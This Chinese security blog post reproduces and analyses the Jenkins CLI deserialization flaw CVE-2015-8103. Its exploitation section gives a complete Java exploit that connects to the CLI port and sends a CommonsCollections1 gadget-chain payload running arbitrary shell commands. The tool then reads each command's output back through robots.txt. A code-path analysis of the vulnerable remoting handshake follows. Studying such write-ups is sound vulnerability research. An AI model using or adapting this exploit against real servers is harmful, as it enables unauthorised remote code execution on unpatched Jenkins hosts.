Loading

Jenkins CVE-2015-8103 复现分析&Exp修改

0x00 前言

这个漏洞之前复现的时候一直不注意细节导致复现失败。

msf远程加载jar并反弹shell一直没打成功,最后是通过一步步调试poc最后写成该漏洞利用成功的工具。

一直有几个坑点,第一个是jdk8_111版本在linux上复现失败(本地打可以,不知道是不是jdk坏了),第二个点是执行复杂命令的时候一直有问题,需要sh -c最终才搞定。

0x01 漏洞利用

image-20210510162307920

image-20210510163716865

通过cc1链进行生成payload,发送该payload即刻构成命令执行。

import com.github.kevinsawicki.http.HttpRequest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.net.*;
import java.util.Arrays;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import java.util.concurrent.TimeUnit;

public class JenkinsCVE_2015_8103 {
    public String getCliPort(String url){
        HttpRequest httpRequest = new HttpRequest(url,"GET");
        httpRequest.header("User-Agent","Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36");
        httpRequest.header("Accept","*/*");
        httpRequest.header("Accept-Encoding","gzip, deflate");
        String cliPort = httpRequest.header("X-Jenkins-CLI-Port");

        //System.out.println(cliPort);
        return cliPort;
    }

    public String getIp(String urlString) throws MalformedURLException, UnknownHostException {
        InetAddress address = InetAddress.getByName(new URL(urlString).getHost());
        String ip = address.getHostAddress();
        return ip;
    }

    public String exploit(String timeStamp,String command,String host ,String port) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {


        byte[] protocol = "Protocol:CLI-connect".getBytes();
        byte[] flag = {0, 20};
        byte[] byte_3 = new byte[protocol.length + flag.length];
        System.arraycopy(flag, 0, byte_3, 0, flag.length);
        System.arraycopy(protocol, 0, byte_3, flag.length, protocol.length);
        //System.out.println(Arrays.toString(byte_3));
        int cliPort = Integer.valueOf(port);
        // 与服务端建立连接
        Socket socket = new Socket(host, cliPort);
        // 建立连接后获得输出流
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(byte_3);
        //通过shutdownOutput高速服务器已经发送完数据,后续只能接受数据
        outputStream.flush();
        InputStream inputStream = socket.getInputStream();

        ByteArrayOutputStream outSteam = new ByteArrayOutputStream();
        byte[] buffer = new byte[1024];
        int len = -1;

        len = inputStream.read(buffer);
        outSteam.write(buffer, 0, len);
        len = inputStream.read(buffer);
        outSteam.write(buffer, 0, len);

        //System.out.println(Arrays.toString(outSteam.toByteArray()));

        byte[] payloadHeader = "<===[JENKINS REMOTING CAPACITY]===>".getBytes();

        byte[] payloadBody = Base64.getEncoder().encode(generatePayload(timeStamp,command));

        byte[] payload = new byte[payloadHeader.length + payloadBody.length];
        System.arraycopy(payloadHeader, 0, payload, 0, payloadHeader.length);
        System.arraycopy(payloadBody, 0, payload, payloadHeader.length, payloadBody.length);
        //System.out.println(Arrays.toString(payload));
        outputStream.write(payload);
        outputStream.flush();


        inputStream.close();
        outputStream.close();
        socket.close();
        return "";

    }

    public byte[] generatePayload(String flag,String command) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        //System.out.println(command);

        command = flag + command;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(java.lang.Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
                new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"sh", "-c","cd $(find / -name \"winstone.jar\" -type f -exec dirname {} \\; | sed 1q) && echo `" + command + "` > robots.txt"}}),
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

        Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap").getDeclaredConstructor(Map.class, Transformer.class);
        constructor.setAccessible(true);
        HashMap hashMap = new HashMap<String, String>();
        Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        // 因为构造方法不是 public, 只能通过反射构造出来
        constructor.setAccessible(true);
        InvocationHandler invo = (InvocationHandler) constructor.newInstance(Deprecated.class, lazyMap);
        Object proxy = Proxy.newProxyInstance(invo.getClass().getClassLoader(), new Class[]{Map.class}, invo);

        constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object obj = constructor.newInstance(Deprecated.class, proxy);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
        oos.writeObject(obj);
        return byteArrayOutputStream.toByteArray();

    }


    public String getCmdResult(String flag,String url) throws InterruptedException {
        int all = 10;
        String result = "";
        String execResult = "";

        for(int count=0;count<all;count++){
            HttpRequest httpRequest = HttpRequest.get(url + "/robots.txt");
            result = httpRequest.body();
            //System.out.println(result);
            if(result.contains(flag)) {
                execResult = result.replaceFirst(flag, "");
                break;
            }
            TimeUnit.SECONDS.sleep(1);
        }
        if(execResult.equals("")){
            execResult = "Can not execute command";
        }

//        String result = "";
        return execResult;
    }
}

0x02 漏洞分析

从poc分析,该漏洞利用主要分为几步,首先是获得Cli端口,cli端口一般为随机端口

image-20210510163632451

接着去请求cli端口

image-20210510161826294

第一步是client发送类似于Protocol:CLI-connect的握手协议,接着服务端返回Welcome,接着再度返回<==Jenkins这些标记,最后接上经过base64编码的序列化字符串。

从代码层面来看,该cli端口业务处理逻辑入口为TcpSlaveAgentListener

image-20210510170102709

其调用ConnectionHandler方法,直接判断Protocol协议是否符合预期

image-20210510170249299

run方法中调用handle方法,在接收后返回Welcome

image-20210510173100715

跟进runCli

image-20210510173745035

通过链式调用,最终调用build方法,其中build方法传入为输入和输出

image-20210510175026559

方法最后调用negotiate,对client传过来的数据进行反序列化,以及讲序列化的数据传给客户端

image-20210510175135667

该read方法的内部构造调用了readObject

image-20210510175229470

通过调用readObject进行反序列化,反序列化使用的是cc1链的payload,于是会通过调用AnnotationInvocationHandler进行去调用CommonsCollections的链式调用,从而执行命令。

0x0 参考

https://www.kingkk.com/2019/01/Java反序列之从萌新到菜鸟/

https://xz.aliyun.com/t/7157

https://xz.aliyun.com/t/7740

https://misakikata.github.io/2020/03/Jenkins漏洞集合复现

posted @ 2021-12-13 20:23  0x28  阅读(909)  评论(0编辑  收藏  举报